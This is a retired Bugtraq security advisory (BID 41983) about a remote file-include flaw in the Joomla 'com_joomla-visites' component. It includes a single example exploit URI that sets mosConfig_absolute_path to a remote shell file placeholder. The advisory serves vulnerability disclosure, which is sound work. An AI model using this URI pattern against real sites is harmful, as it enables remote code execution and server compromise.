RETIRED: Joomla! 'com_joomla-visites' Component Remote File Include Vulnerability

Bugtraq ID:	41983
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 26 2010 12:00AM
Updated:	Aug 06 2010 04:05PM
Credit:	Li0n-PaL
Vulnerable:
Not Vulnerable:

RETIRED: Joomla! 'com_joomla-visites' Component Remote File Include Vulnerability

The 'com_joomla-visites' component for Joomla! is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

RETIRED: This BID is retired because it is a duplicate of BID 28942 (Joomla Visites Component mosConfig_absolute_path Remote File Include Vulnerability).

RETIRED: Joomla! 'com_joomla-visites' Component Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com//administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=[shell.txt]

RETIRED: Joomla! 'com_joomla-visites' Component Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

RETIRED: Joomla! 'com_joomla-visites' Component Remote File Include Vulnerability

References:

• Home page (Joomla com_joomla-visites)